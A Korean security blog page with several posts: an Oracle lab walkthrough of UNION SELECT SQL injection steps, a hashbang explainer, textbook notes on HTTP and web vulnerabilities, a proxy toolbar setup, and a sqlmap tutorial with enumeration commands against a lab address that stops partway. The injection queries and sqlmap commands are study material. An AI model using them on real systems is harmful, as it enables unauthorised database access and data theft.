2017. 1. 21. 16:17 :: 웹 보안

안녕하세요. Message 입니다.

오늘은 SQL Injection, Union Select 테스트를 위해

ORACLE 기반의 테스트 환경을 구축하고 DB 쿼리문을 정리하는 글을 포스팅하려 합니다.

쿼리문은 인젝션 포인트에서 Union Select 구문을 날리는 순서대로 진행하고자 합니다.

 

 

-----------------------------------------------------------------------------------------------------------------

0x00 준비

-----------------------------------------------------------------------------------------------------------------

 

 

ORACLE 공식 홈페이지에서 ORACLE Database Express Edition 11g Release2 (XE) 를 다운받습니다.

무료(OTN License)이며, 기본으로 내장된 테이블만으로도 각종 실습이 가능합니다.

URL : https://www.oracle.com/index.html

 

이후에 Next 쭉쭉~ 진행하시면 되며

중간에 입력하는 패스워드는 데이터베이스 접속 시 사용됩니다.

 

 

 

설치가 완료되었다면 구동시켜봅니다.

시작버튼을 누르고 Oracle 설치 폴더에서 Start Database를 실행시켜서 아래와 같은 창이 뜨는지 확인합니다.

 

이후에 동일 폴더에서 Get Started 버튼을 누르면 아래와 같은 ORACLE HOME 메인 페이지로 접속됩니다.

이때 루프백주소(127.0.0.01) 8080 포트로 접속되므로,

각종 프록시 도구나 기타 서버 프로그램과의 포트 충돌에 주의해야 합니다. 

 

 

 

-----------------------------------------------------------------------------------------------------------------

0x01 실행

-----------------------------------------------------------------------------------------------------------------

 

메인 페이지에서 Application Express 으로 이동합니다.

로그인창에서는 SYSTEM(유지보수용, DB생성 권한 없음) 계정으로 접속하며, 위에서 설정한 ID/PW를 입력합니다.

참고로 계정은 SYS(오라클 Super), SYSTEM(유지보수용), SCOTT(sample ID, 실습용), HR(sample ID, 실습용) 등이 있습니다.

 

Application Express 탭에서 Create New 항목을 이용하여 계정을 생성합니다.

계정 생성이 완료되었다면, 우측 Getting Started의 Login Here 버튼을 클릭하여 로그인창으로 넘어갑니다.

 

방금 생성한 계정 또는 기존의 계정으로 로그인합니다.

 

SQL Workshop을 눌러 생성한 계정의 DB를 살펴봅니다.

 

이제 SQL Commands 항목으로 이동하면 쿼리문을 날릴 수 있는 페이지가 나옵니다.

 

 

 

-----------------------------------------------------------------------------------------------------------------

0x02 테스트 & 실습

-----------------------------------------------------------------------------------------------------------------

 

1. DB종류 판별

실제로 진단을 수행할 경우에는 어떤 DB인지 알 수 없으므로 아래 쿼리문을 이용하여 확인합니다.

일차적으로는 주석으로 MYSQL 또는 MSSQL/ORACLE 등의 여부를 판단합니다.

- "#" → MYSQL

- "--" → MSSQL, OACLE

 

결과값을 통해 주석을 "--" 문자로 사용하는 DB라는 결과가 나온다면

특수문자를 어떻게 받아들이느냐로 간편히 DB를 구분할 수 있습니다.

MSSQL의 경우에는 "||" 문자를 OR 연산자로 인식하지만, ORACLE은 'AB' || 'CD" 를 문자열 'ABCD'로 인식합니다.

즉, 인젝션 포인트에서 아래의 쿼리문이 참으로 판단되어 결과값이 잘 나온다면 ORACLE 입니다.

 

 

2. 전체 테이블 확인 + 로그인 유저의 테이블 확인

초반부에서 잠깐 언급했지만, 일단 ORACLE 설치가 완료되면 별도의 테이블 생성 없이

기본적으로 제공되는 테이블들이 있기 때문에 바로 실습이 가능합니다.

DB에 어떤 테이블들이 존재하는지 ALL_TABLES 테이블명으로 질의할 수 있습니다.

제가 설치한 버전에서는 89개의 테이블이 나왔습니다.

 

만약 특정 DB 계정을 얻는데 성공했다면, 로그인한 계정이 소유한 테이블이 무엇인지 확인할 필요가 있습니다.

이럴경우에는 아래와 같이 USER_TABLES 테이블명으로 질의할 수 있습니다. 18개 테이블이 나왔습니다.

 

그중에 제가 사용한 테이블은 EMPDEMO_USERS 테이블입니다.

아무래도 각종 DB 서적에서 자주 사용되는 테이블이다보니 친숙하기도 했고,

특히 EMP 테이블은 Union Select 쿼리를 날릴때 DATE 속성이 있던 케이스가 있어서 선택했습니다.

 

 

3. 컬럼 개수 확인

Union Select를 이용한 Injection 공격 수행을 할 경우, 질의하는 테이블의 컬럼 개수를 알아내야 합니다.

왜냐하면 Union Select 자체가 앞선 Select 구문과 합쳐져서 나오기 때문이지요.

이럴때 Order By + 숫자(컬럼) 질의를 이용하면 컬럼의 개수를 알아낼 수 있습니다.

아래와같이 숫자를 1로 할 경우, EMPNO 컬럼의 오름차순으로 정렬되지만,

숫자를 9로 지정할 경우, 해당되는 속성이 없어서 결과값이 반환되지 않습니다. 즉 컬럼 개수를 알 수 있죠.

 

 

4. 컬럼 타입 확인

Union Select의 경우 컬럼의 타입도 맞춰 주어야 검색이 가능합니다.

일반적으로는 아래 질의문과 같이 컬럼 개수만큼 숫자 + 문자를 넣어주며 공격 쿼리문을 날립니다.

하지만 앞선 SELECT 문에서 검색되는 컬럼들의 타입과 일치하지 않으면 에러가 나지요.

SELECT * FROM EMP WHERE EMPNO > 7500 UNION SELECT 1, '2', 3, '4', 5, '6', 7, 8 FROM EMP;

 

하지만 컬럼의 타입이 위에서 언급한 DATE일 경우도 있으므로, 숫자 + 문자 + DATE 등의 경우의 수가 너무 복잡해집니다.

이럴때는 컬럼의 개수만큼 NULL을 넣어주고, 맨 앞에서부터 하나씩 숫자와 문자 등을 넣어주며 타입을 맞춰주면 됩니다.

 

이때 DATE 속성의 경우에는 아래와 같이 타입을 캐스팅 해주지 않으면 에러가 발생합니다.

 

 

5. 컬렴명 확인

이젠 UNION SELECT 테이블명에 원하는 테이블을 넣고, 동일 타입에 해당 테이블 컬럼을 넣어주어 DB 데이터를 뽑아내면 됩니다.

테이블명은 ALL_TABLES를 이용하여 알아내면 되지만, 우리는 아직 해당 테이블의 컬럼명을 모릅니다.

테이블의 컬럼명은 아래와 같이 ALL_TAB_COLUMNS 테이블명을 이용하여 얻어냅니다.

이때도, USER_TAB_COLUMNS 테이블명을 이용하면, 현재 계정의 권한으로 어떤 속성에 접근이 가능한지 선별할 수 있습니다.

 

 

6, BONUS. 출력 팁

깨알같은 팁이지만, UNION SELECT를 이용해 게시판 등에서 원하는 쿼리를 뽑을 경우

어떤 데이터가 무엇을 의미하는지 모르는 상황이 발생할 수 있습니다.

이럴때는 CONCAT 함수와 || 문자를 이용하여 깔끔한 출력값을 얻어낼 수 있습니다.

 

 

 

-----------------------------------------------------------------------------------------------------------------

0x03 마무리

-----------------------------------------------------------------------------------------------------------------

 

이것저것 쿼리를 날리다보면, 오타여서 오류가 발생하는지, 쿼리가 잘못된건지 기타 이유를 파악하는데 시간이 너무 오래 걸렸습니다.

그럴바엔 직접 DB에 쿼리를 날리면서 실습을 해보고자 포스팅을 하게 되었습니다.

덤으로 어느정도 DB에 대한 막연함이 사라진것 같기도 하네요!

읽어주셔서 감사합니다.

 

 

posted By Message.

Commit your way to the LORD, trust in him and he will do this. [PSALms 37:5]

 

posted by Red_Message
2016. 11. 27. 20:21 :: 웹 보안

안녕하세요 Message입니다.

오늘의 포스팅 주제는, 예전에 마주쳤을때 당황했었던 해시뱅(HashBang, #!)에 대해 다루고자 합니다.

해시뱅에 대해 개념부터 장단점, 개인의 의견이 잘 포스팅되어 있는 블로그가 있습니다.

https://blog.outsider.ne.kr/698  : 해시뱅(#!)에 대해서... 

 

하지만 저는 개발자가 아니므로.. 해시뱅을 다뤄본 경험이 없기 때문에

초보 분석가가 해시뱅을 바라보는 시각에서 포스팅을 진행했습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 해시뱅(HashBang, #!) 이란?

------------------------------------------------------------------------------------------------------------------------------------------

 

처음 해시뱅을 맞딱뜨렸을때는 무엇으로 검색해야 할지 몰라서 헤메었습니다.

정확한 URL을 알고싶은데, URL을 모르게 하기 위해서 보안처리가 잘되있는건가? 싶기도 했었고

고민하다보니 시간이 흘러가고..결국 그것이 무엇인지도 모른채 바쁜 맘에 그냥 지나쳤습니다.

 

금강산도 식후경이라고 일단 해시뱅이 어떻게 생겼나 보고 넘어갑시다.

해시뱅은 URL에서 발견할 수 있는 특수문자 "#!" 입니다. 말그대로 해시(#) + 뱅(!) 이지요.

검색해보니 국내 유명 웹사이트 중에서 해시뱅을 사용하는 곳은 트위터, 밴드 정도가 있지만,

트위터의 경우 논란이 많아 2012년 이후로는 더이상 해시뱅을 쓰지 않는것으로 보입니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 어디에 쓰는 물건(?)인고

------------------------------------------------------------------------------------------------------------------------------------------

 

해시뱅을 쓰는 이유는 웹어플리케이션을 제작할때 싱글 페이지 어플리케이션(SPA) 스타일로 구성하기 위함입니다.

메인 화면이 로딩된 이후에는, 페이지의 갱신 없이 URL을 변경하기 위해서 사용됩니다.

자바스립트를 이용하여 화면을 빠르게 변경해줌으로서 리소스를 줄이는것이 목적이죠.

 

저는 이러한 부분이 처음에 잘 이해가 되지 않았습니다.

하지만 안드로이드 앱을 개발하면서 프래그먼트를 사용한적이 있었는데,

해시뱅에서 "#" 뒤에 나오는 "!" 이후의 부분을 Fragment Identifier 라고 부르는것을 보고 조금은 이해가 되었습니다.

안드로이드의 프래그먼트는 비교적 리소스가 큰 액티비티로 모든 화면을 구성하지 않고,

하나의 액티비티 안에서 여러개의 Fragment로 화면을 구성하여 UI에 소요되는 작업량을 감소시키는 역할이니까요.

아래 예제는 소스코드를 확인할순 없지만, 하나의 Activity안에 여러 Fragment가 슬라이딩 되는 구조일겁니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

3. 해시뱅의 문법..?

-----------------------------------------------------------------------------------------------------------------------------------------

 

해시뱅의 왜 쓰이는지 알아봤습니다.

그렇다면 이제는 어떤 방식으로 동작하는지 알아봅니다.

 

1. 네임앵커를 이용한 화면 이동

해시뱅은 HTML의 네임앵커 라는 기능을 이용한다고 합니다.

어떤 특정 위치에 책갈피를 지정하고, 그 지정된 곳으로 이동하는 것을 네임앵커라고 합니다.

 

예를들면,

<label name="anchor"> 여기로 이동 </label> 으로 단순 텍스트에 name 태그를 "anchor"로 지정해주고,

<a href="#anchor"> 클릭하면 </a> 으로 링크를 지정해놓으면, 클릭했을 때 name 값이 "anchor"인 곳으로 이동합니다.

아래 사이트에서 네임 앵커를 심플하게 체험할 수 있게 페이지를 구성해놓으셨더군요.

URL : http://mytory.net/archives/229#there

 

해시뱅은 위의 네임앵커 기능을 이용하여 "#" 뒤에 오는 Fragment를 마치 URL스럽게 구성을 합니다.

예를 들면 이렇게 말이죠 → <label name="!/tistory/url">

일반적으로 해시뱅을 구성할때 "#!" 이라고 쓰기 때문에 해시뱅이라고 불린다고 하네요.

 

 

2. 구글과 해시뱅, 모르면 찜찜

해시뱅이 적용된 HTML을 살펴보면, 공통점이 있습니다.

바로 exec, IndexOf, hasOwnProperty 함수등을 이용하여

URL 안에 "_escaped_fragment_=" 문자열과 일치하는 부분이 있는지 검색하는 부분입니다.

아마 해시뱅의 배경에 대해서 미리 알고 있지 않으면 이게 무슨 소린가 할만한 내용입니다.

 

이유는 구글때문입니다.

구글의 크롤러는 SPA를 검색할때 느낌표(!)가 있는지 체크합니다.

이후에 해시뱅 부분을 "_escaped_fragment_=" 문자열로 대체합니다.

대체된 새로운 URL을 이용하여 다시 서버로 요청합니다.

따라서 구글의 검색엔진에 잘 노출되기 위해서는 이와 같은 구글 크롤러의 요청에 대응을 해야합니다.

따라서 위의 소스코드들에서 공통적인 로직이 존재하게 되는것이죠.

 

해당내용에 대해 더 자세하게 보실분은 아래 블로그를 참고하세요.

싱글 페이지 어플리케이션에서의 검색 엔진 최적화 (SEO) : http://funnygangstar.tistory.com/183

 

 

------------------------------------------------------------------------------------------------------------------------------------------

4. 마무리

-----------------------------------------------------------------------------------------------------------------------------------------

 

해시뱅이 국내에서 많이 사용되지 않다보니 마주칠 일이 별로 없을지도 모르겠습니다만...

덕분에 SPA나 HTML에 대해서 살펴볼 좋은 기회였습니다.

 

해시뱅의 문제점이나 장/단점에 대해서는 다루지 않았습니다.

개발보다는 웹페이지 분석 + 취약점 진단 측면에서 알고 있으면 좋은 배경지식만 간략하게 살펴보았습니다.

잘못된 점이나 문제가 될만한 부분은 댓글 남겨주시면 수정/조치 하겠습니다.

감사합니다.

 

 

posted By Message.

Commit your way to the LORD, trust in him and he will do this. [PSALms 37:5]

posted by Red_Message
2016. 11. 3. 04:15 :: 웹 보안

Chapter 04 웹 보안

Section 01 웹에 대한 이해

- 웹은 처음에는 단순히 대학 내 각 연구실 사이의 데이터 전송을 위해, 하나의 시스템과 다른 하나의 시스템 간의 통신을 위한 프로토콜을 만들어 사용했다.

- 그러다 점차 프로토콜이 하나둘씩 늘어 결국 시스템을 만드는 회사마다 서로 다른 통신 프로토콜을 사용하게 된 것이다.

- 개별 시스템 산의 통신에는 큰 문제가 없었으나 다른 회사의 제품들과 서로 통실할 수 없다는 문제점이 발생

- 이를 해결하기 위해 하나의 프로토콜을 해석한 후 다른 프로토콜로 바꾸어 다른 시스템으로 전송해주는 장치인 게이트웨이(Gateway)를 개발했다.

- 게이트웨이가 나온 후에야 원격의 두 지점 간의 통신이 가능해졌고, 비로소 네트워크라고 부를 만한 것이 생겼다.


- 1969년 미 국방부 산하 고등연구 계획국 ARPA(Advanced Research Projects Agency)에 의해 전 세계 주요 거점을 연결하는 네트워크가 처음 만들어졌다.

- 이 네트워크를 알파넷이라 부르며, 흔히 알파넷을 인터넷의 시작이라고 한다.


- 1970년대의 네트워크는 TCP/IP 프토로콜로 연결되고 일반에 공개됨에 따라 크게 발전하기 시작

- 우리나라의 경우 1994년 한국통신이 카이스트와 연구기관 등에 학술 교융/정보 교류용으로 제공한 '하나망'을 일반에 공개하고 코넷(KORNET)을 시작함으로써 인터넷에 첫 발은 내딛게 되었다.


- '웹'의 정식 명칭은 월드 와이드 웹(WWW : World Wide Web)이다.

- 세계 규모의 거미집 또는 거미집 모양의 망이라는 뜻으로, 1989년 스위스 제네바에 있는 유럽 원자핵 공동 연구도(CERN)에서 근무하던 팀 버너스 리(Tim Berners Lee)에 의해 연구 목적의 프로젝트로 시작

- 프로젝트의 목적은 전 세계에 흩어져 있는 종업원 및 연구자와 연구 결과나 아이디어를 공유할 수 있는 방법을 모색하는 것이었다.

- 처음 프로젝트를 계획할 당시에는 웹을 'Hyper Text Project'라고 불렀는데, 이는 1960년대에 테드 넬슨이 만든 신조어로 다른 문서와 연관 관계를 가지는 텍스트를 의미하는 것이다.

- 현재 웹 문서로 가장 흔히 쓰이는 HTML(Hyper Text Markup Language)은 이 Hyper Text를 효과적으로 전달하기 위한 스크립트 언어이다.

- 웹에 접근하기 위해서는 웹 브라우저가 필요하다. 최근에는 대부분 마이크로소프트의 인터넷 익스플로어를 사용하지만, NCSA에서 개발한 모자이크(Mosaic)나 넷스케이프에서 개발한 넷스케이프 네비게이터(Netscape Navigator) 등도 있다.



Section 02 HTTP에 대한 이해

- 웹에서는 FTP, Telnet, HTTP,  SMTP, POP 등 여러 프로토콜이 쓰인다. 그중 가장 흔히 사용되는 프로토콜이 HTTP이다.

- HTTP를 이용하면 사용자는 다양한 응용 프로그램에 접근하여 텍스트/그래픽/애니메이션을 보거나 사운드를 재생할 수 있다.

- HTTP는 웹 처리 전반에 걸쳐 토대가 되기 때문에 웹 서버를 HTTP서버라고 부르기도 한다.

- 웹 서버에는 웹 서비스를 구현하기 위한 웹 언어가 존재하며, 그 종류는 HTML, ASP, JSP, Java Script 등이 있다.


1. HTTP 프로토콜

- HTTP는 0.9 버전부터 사용되었다.

- 0.9 버전은 서버로부터의 단순 읽기 기능만 지원한다.

- HTTP 0.9는 하나의 웹 페이지 안에서도 텍스트와 그림마다 Connect 과정을 반복해서 거쳐야 했기 때문에 무척 비효율적이었고 오래 사용되지 못했다.

- 하지만 1.0 버전부터는 한 번의 Connect 후에 Request와 Response를 반복할 수 있게 되었다.


2. HTTP Request

- HTTP Reauest는 웹 서버에 데이터를 요청하거나 전송할 때 보내는 패킷으로, 주로 GET, POST와 같은 메소드를 사용한다.


가. GET 방식

- 가장 일반적인 HTTP Reauest 형태로 웹 브라우저에 다음과 같은 요청 데이터에 대한 인수를 URL(Uniform Resource Locator)을 통해 전송한다.

www.wishfree.or.kr/list.php?page=1&search=test

- GET 방식에서는 각 이름과 값을 &로 결합하며 글자 수를 255자로 제한한다.

- 데이터가 주소 입력란에 표시되기 때문에, 최소한의 보안도 유지되지 않는, 보안에 매우 취약한 방식이다.

- 간혹 아이디나 패스워드가 인수로 저장되러 전달되는 경우도 발생한다.


나. POST 방식

- URL에 요청 데이터를 기록하지 않고 HTTP 헤더에 데이터를 전송하기 때문에 GET 방식에서의 '?page=1&search=test' 와 같은 부분이 존재하지 않는다.

- 내부의 구분자가 각 파라미터(이름과 값)를 구분하며, 서버가 각 구분자에 대한 내용을 해석하여 데이터를 처리하기 때문에 GET 방식에 비해 상대적으로 처리 속도가 늦다.

- 인수 값을 URL을 통해 전송하지 않기 때문에 다른 이가 링크를 통해 해당 페이지를 볼 수 없다.

- 게시판 등에서 파일 업로드는 POST 방식으로만 할 수 있는데, GET 방식과는 달리 보내려는 데이터가 URL을 통해서 노출되지 않기 때문에 최소한의 보안성은 갖추고 있다.


다. 기타 방식

① HEAD 방식 : 서버 측의 데이터를 검색하고 요청하는데 사용한다.

② OPTIONS 방식 : 자원에 따라 요구/응답 관계에서 관련된 선택 사항의 정보를 요청할 때 사용된다. 이를 통해 클라이언트는 어느 것을 선택할지 결정할 수 있고, 자원과 관련 필요 사항도 결정할 수 있다. 서버의 수행 능력도 알아볼 수 있다.

③ PUT 방식 : 메시지에 포함되어 있는 데이터를 지정한 URI(Uniform Resource Identifier) 장소에 그 이름으로 저정한다.

④ DELETE 방식 : URI에 지정되어 있는 자원을 서버에서 지울 수 있게 한다.

⑤ TRACE 방식 : 요구 메시지의 최종 수신처까지의 루프백 검사용으로 쓰인다. 클라이언트가 보내는 요구 메시지가 거쳐가는 프록시나 게이트웨이의 중간 경로 및 최종 수신 서버까지 이르는 경로를 알아내는데 사용된다.


3. HTTP Response

- 클라이언트의 HTTP Request에 대한 응답 패킷이다.

- 서버에서 쓰이고 있는 프로토콜 버전, Request에 대한 실행 결과 코드 및 간략한 실행 결과 설명문(OK 등)의 내용이 담겨있다.

- 전달할 데이터의 형식과 데이터 길이 등과 같은 추가 정보가 MIME 형식으로 표현되어 있는데, 헤더 정보 귀에는 실제 데이터(HTML이나 그림)가 전달되며 데이터 전달이 끝나면 서버는 연결을 끊는다.

- HTTP Response의 주요 실행 결과 코드

실행 결과 코드 

내용

설명

100번대 

정보 전송 

HTTP/1.0까지는 계열에 대한 어떤 정의도 이루어지지 않았기 때문에 실험적인 용도 이외에는 100대 서버 응답은 없다. 

200번대 

성공 

클라이언트의 요구가 성공적으로 수신되어 처리되었음을 의미 

300번대 

리다이렉션 

해당 요구 사항을 처리하기 위해 사용자 에이전트에 의해 수행되어야 할 추가적인 동작이 있음을 의미 

400번대 

클라이언트 측 에러 

클라이언트에 오류가 발생한 경우 사용된다.  

500번대 

서버 측 에러 

서버 자체에서 발생된 오류 상황이나 요구 사함을 제대로 처리할 수 없을때 사용된다. 



Section 03 웹 서비스에 대한 이해

- 웹 서비스는 웹 언어를 통해 제공된다.

- 정적인 서비스 제공 언어 : HTML, 자바 스크립트, 비주얼 베이직 스크립트 등

- 동적인 서비스 제공 언어 : ASP, JSP, PHP 등


1. HTML

- HTML(Hyper Text Markup Language)은 가장 단순한 형태의 웹 언어이다.

- 웹 서버에 HTML 문서를 저장하고 있다가 클라이언트가 특정 HTML페이지를 요청하면 해당 HTML 문서를 클라이언트로 전송한다.

- 그러면 클라이언트는 이 웹 페이지를 해석하여 웹 브라우저에 표현해 주는데 이런 웹 페이지를 정적인(Static) 웹 페이지라고 한다.

- 정적인 웹 페이지는 고객의 취향이나 변화에 적응할 수 없고 새로운 것을 추가하는데 많은 시간이 걸린다는 단점이 있지만 보안에는 장점이 많다.

- 웹 해킹은 웹 브라우저와 웹 서버 사이에 전달되는 값들의 변조를 통해 웹 서버의 설정이나 로직을 바꾸는데, 정적인 웹 페이지는 '바쑬수 있는 가능성'이 매우 낮다.


2. SSS

- 사용자들은 점차적으로 웹 페이지가 각기 다른 요구에 따라 능동적으로 변하기를 기대했다.

- 동적인(Dynamic) 웹 페이지를 제공할 수 있는 PHP(Personal Home Page), ASP(Active Server Page), JSP)Java Script Pages)와 같은 언어를 개발했다.

- 동적인 페이지를 제공하는 스크립트를 SSS(Server Side Script)라 한다.

- 동적인 웹 페이지에서는 스크립트에 HTML 확장자 대신 ASP 또는 JSP 의 확장자를 가진 웹 문서를 요청한다.

- ASP의 경우 DLL이나 OCX 같은 파일을 이용하고 JSP의 경우 서블릿을 이용해 요청을 처리한다.

- 그리고 결과를 HTML 파일로 만들어 클라이언트에 전송해준다.

- ASP를 이용하기 위해서는 윈도우 기반의 IIS 웹 서버를 설치해야 하지만 JSP는 어떤 운영체제에서도 동작한다.


3. CSS

- 서버가 아닌 클라이언트 측의 웹 브라우저에 의해 해석되고 적용되는 스크립트이다.

- 자바 스크립트, 비주얼 베이직 스크립트 등

- 이를 CSS(Client Side Script)라 한다.

- CSS는 서버가 아닌 브라우저에서 해석되어 화면에 적용되기 때문에 웹 서버의 부담을 줄여주면서도 다양한 기능을 수행할 수 있다.



Section 04 웹 해킹에 대한 이해

- 웹 해킹은 웹 사이트의 구조와 동작 원리를 이해하는 것에서부터 시작한다.


1. 웹 취약점 스캐너를 통한 정보 수집

- 웹에 대한 정보를 수집할 때는 웹의 메뉴를 하나하나 클릭해보며 수작업으로 동작을 파악하기도 하지만 웹 취약점 스캐너를 사용할 수도 있다.

- 스캐너를 통하면 웹 구조를 파악하고 취약점을 수집하기가 쉽지 않다는 단점이 있다. 각 페이지의 링크 정보를 따라가는 것이므로 웹 페이지에서 링크로 제공하지 않는 페이지는 구조 분석이 어렵다.

- 한편 각 페이지에서 링크 정보를 따라가며 웹 사이트의 웹 페이지를 로컬에 저장해주는 Web Zip이 있는데, 웹 스캔은 Web Zip이 웹 페이지를 수집하는 원리와 같다.

- 웹 프로그램은 자유스럽게 만들어지고 변형도 다양해 웹 스캐너가 취약점을 정확히 잡아내기랑 거의 불가능하다.

- 따라서 스캐너를 통해 발견된 취약점은 개별 확인 과정을 통해 유효성을 확인하는 과정이 필요하다.


2. 웹 프록시를 통한 취약점 분석

- 웹 프록시의 기본적인 동작 구조는 클라이언트에 설치되며 클라이언트의 통제를 받는다. 즉 클라이언트가 웹 서버와 웹 브라우저 간에 전달되는 모든 HTTP 패킷을 웹 프록시를 통해서 확인하면서 수정하는 것이 가능하다.


가. 서버에서 클라이언트로 전송되는 패킷 변조

- 웹 프록시의 유용한 점은 서버와 클라이언트 사이의 패킷을 볼 수 있는 것 이외에 서버와 클라이언트 사이에 전달되는 과정에서 패킷을 위변조할 수 있다는 점이다.

- 변조하고자 하는 패킷은 ASP 혹은 JSP가 아닌 HTML이다. 어떤 언어로 개발됐는지 웹 프록시를 통해서 확인하는 것은 HTML이다.

- 서버에서 클라이언트로 전송되는 내용이 바꾸었으니 자신을 해킹한 것이된다. 하지만 이런 공격이 다음 두가지 위력을 가질 수 있다.

- 첫 번째. 클라이언트에 해킹하고자 하는 대상이 있는 경우

웹 브라우저 내용만 바꾸었지만 실제로는 Active X 등의 형태로 여러 프로그램이 클라이언트에 설치되어 웹 서비스를 제공하는 경우가 많은데, 이때 클라이언트에 설치된 서비스 프로그램을 속이는 것이 가능하다.

- 두 번째. 서버에서 클라이언트에 정보를 전송했다가 이를 다시 전송받아 처리하는 경우

예를 들면 경품을 나눠주기 위한 당첨권은 동전으로 긁으면 '당첨'이란 글자가 나타나므로 가게 주인은 '당첨'이란 글씨를 보고 당첨 여부를 판단할 것이다. 그런데 어떤 사람이 '당첨'이란 글씨를 자신이 받은 당첨권에 위조해서 적으면(이 과정은 마치 서버가 클라이언트에게 전달해준 패킷 값을 위변조하는 것과 같다.) 제대로 위조를 했다면 가게 주인(서버)은 경품을 꺼내줄 것이다.

이처럼 서버가 클라이언트로 보낸 데이터의 변조로 인해 발생하는 위험을 없애려면 서버에서 클라이언트로 전송한 값은 어떤 것도 다시 참조하지 않아야 한다.


나. 클라이언트에서 서버로 전송되는 패킷 변조

- 서버에서 클라이언트로 전송되는 패킷을 변조한 것과 클라이언트에서 서버로 전송되는 패킷을 변조하는 것은 같다.

- 클라이언트에서 서버로 전송되는 패킷을 변조하는 것은, 일반적인 웹 서비스의 메뉴상 접속할 수 없는 것에 접근하거나 특정한 값을 넣어 시스템의 오작동을 유도하기 위한 목적으로 사용된다.


3. 구글 해킹을 통한 정보 수집

- 구글에서 제공하는 고급 검색 기능

검색 인자 

설명

검색 추가 인자

site 

특정 도메인으로 지정한 사이트에서 검색하려는 문자열이 포함된 사이트를 찾음 

YES 

filetype 

특정한 파일 유형에 한해서 검색하는 문자가 들어 있는 사이트를 찾음 

YES 

link 

링크로 검색하는 문자가 들어 있는 사이트를 찾음 

NO 

cache 

특정 검색어에 해당하는 캐시된 페이지를 보여줌 

NO 

intitle 

페이지의 제목에 검색하는 문자가 들어있는 사이트를 찾음 

NO 

inurl 

페이지의 url에 검색하는 문자가 들어있는 사이트를 찾음

NO 

- 검색 엔진의 검색을 피하는 방법으로 가장 일반적인 대응법은 웹 서버의 홈 디렉토리에 robot.txt. 파일을 만들어 검색할 수 없게 만드는 방법



Section 05 웹의 주요 취약점 10가지

1. 명령 삽입 취약점

2. XSS 취약점

3. 취약한 인증 및 세션 관리

4. 직접 객체 참조

5. CSRF 취약점

6. 보안 설정 취약점

7. 취약한 정보 저장 방식

8. URL 접근 제한 실패

9. 인증 시 비암호화 채널 사용

10. 부적절한 오류 처리



Section 06 웹 취약점 보완

1. 특수문자 필터링

- 웹 해킹의 가장 기본적인 형태 중 하나가 인수 조작인데 인수 조작은 예외적인 실행을 유발시키기 위해 일반적으로 특수 문자를 포함하게 되어 있다.

- SQL 삽입 공격에서 아이디와 패스워드 넣는 부분에 ' 문자열을 입력받지 못하도록 코드를 수정하여 보완할 수 있다.

- XSS 공격에서 본문에 포함되는 주요 특수문자를 제거하는 함수 등을 사용하여 보완할 수 있다.


2. 서버 측 통제 작용

- 파일 업로드 취약점이나 특수문자 필터링을 수행할 때 주의할 점은 자바 스크립트와 같은 CSS(Client Side Script) 기반의 언어로 필터링을 하면 안된다.

- CSS 기반의 언어는 웹 프록시를 통해 브라우저에 전달되기 때문에 전달되는 과정에서 변조될 가능성이 있다.

- 즉 필터링 로직은 ASP, JSP 등과 같은 SSS(Server Side Sctipt)로 필터링을 수행해야 한다.


3. 지속적인 세션 관리

- URL 접근 제한 실패를 막기 위해서는 기본적으로 모든 웹 페이지에 세션에 대한 인증을 수행해야 한다.

- 모든 웹 페이지에 대해 일관성 있는 인증 로직을 적용하려면 기업 단위에서 또는 웹 사이트 단위에서 세션 인증 로직을 표준화하고, 모든 웹 페이지를 개발할 때 해당 표준을 준수시켜야 한다.




출처 : 정보 보안 개론(한 권으로 배우는 보안 이론의 모든 것) / 양대일 저 / 한빛아카데미 출판

posted by Red_Seek
2016. 8. 5. 11:02 :: 웹 보안

안녕하세요. Message입니다.

오늘은 Cooxie Toolbar의 Proxy Server 기능에 대해 간단히 포스팅합니다.

 

Burp나 Paros등을 사용할때면 항상 [인터넷옵션 - 연결 - LAN설정] 에 들어가야 하므로

설정과 해제를 반복하다보면 손가락도 아프고 매우 번거롭습니다.

 

Cooxie Toolbar의 기능을 이용하면 편리하고! 빠르게! 프록시 설정을 할 수 있습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

0. 준비

------------------------------------------------------------------------------------------------------------------------------------------

 

일전에 그냥 웹사이트에 돌아다니는 링크로 쿡시툴바를 다운로드 받아 사용하고 있었는데

Proxy Server 기능을 이용하려니까 갑자기 악성코드에 감염된것 처럼

구글링도 안되고 실행파일을 실행시키면 아래와 같은 오류가 뜨더군요

결국은 시스템복원..T^T

 

공식 홈은 아니지만 DioDia SoftWare를 다운로드 할 수 있는 링크를 찾았습니다.

(결정적으로 악성코드 감염 징후가 안보입니다.) 

URL : http://download.cnet.com/windows/diodia-software/3260-20_4-108723-1.html

 

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 설정

------------------------------------------------------------------------------------------------------------------------------------------

 

설치가 완료되었다면, Cooxie 버튼을 이용하여 Proxy Servers 탭으로 이동합니다.

 

그럼 아래와 같은 설정창이 나옵니다.

Add 버튼을 눌러 우리가 평소 LAN 설정에 입력하던 127.0.0.1 : 8080 으로 설정합니다.

 

 

아래와 같이 추가되었다면 정상입니다.

 

이제 가지고 계신 프록시 툴을 실행하고

쿡시툴바에서 Proxy: (none) > Proxy: 127.0.0.1:8080 으로 변경해줍니다.

간단한 프록시 설정 끝!

posted by Red_Message
2016. 1. 27. 09:06 :: 웹 보안

1. SQLMap 도구 사용

가. Blind SQL Injection 을 자동으로 해주는 도구

나. 환경 준비

1) Pyhton 설치

https://www.python.org/

2) sqlmap 설치

http://sqlmap.org/

 

다. 도구 실행

1) cmd 에서 sqlmap 위치로 이동

2) sqlmap 실행

# cmd> python sqlmap.py 

3) 파라미터가 잇는 url 선택

http://192.168.1.144/board/board_view.asp?num=61

4) 실행

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5

5) 기본 정보 확인 

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5

 

6) 데이터베이스 이름을 가져오는 명령

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5 --dbms="Microsoft SQL Server" --os="Windows" --dbs 

 

7) board 데이터베이스의 tables 를 확인

# python sqlmap.py -u "http://192.168.1.144/board/board_view.asp?num=61" -v 5 --dbms="Microsoft SQL Server" --os="Windows" -D "board" --tables 

 

8) board 데이터베이스의 member 테이블의 columns 를 확인

